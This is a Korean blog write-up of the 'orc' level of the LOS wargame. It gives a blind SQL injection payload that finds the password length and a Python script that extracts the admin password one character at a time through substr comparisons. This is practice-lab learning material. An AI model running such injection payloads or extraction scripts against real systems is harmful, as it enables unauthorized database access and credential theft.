pw가 동일해야 풀리는 문제로, blind sql injection인 것을 알 수 있다.
먼저 pw=' or length(pw) = 8%23 을 입력하여 pw의 길이가 8인것을 알아낸다.
import requests
password = ''
for admin_len in range(8):
for admin_pass in range(ord('0'), ord('z')):
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
query = {'pw' : '\' or substr(pw, 1, ' + str(admin_len + 1) +')=\'' + password + chr(admin_pass) + '\'#'}
cookies = {'PHPSESSID' : 'dnj49ptgspf5tqi0agk2rn6klt'}
res = requests.get(URL, params = query, cookies = cookies)
if('Hello admin' in res.text):
password = password + chr(admin_pass)
print(password)
break
pw의 길이만큼 for문을 돌려주고, substr로 첫번째부터 포문 현재 인자 + 1까지 잘라준 후 아스키로 비교한다
익스 성공
'Layer7 > WriteUp' 카테고리의 다른 글
[LOS]darkelf WriteUp (0) | 2024.06.03 |
---|---|
[LOS]wolfman WriteUp (0) | 2024.06.03 |
[LOS]goblin WriteUp (0) | 2024.06.03 |
[LOS]cobolt WriteUp (0) | 2024.06.03 |
[LOS]gremlin WriteUp (0) | 2024.06.03 |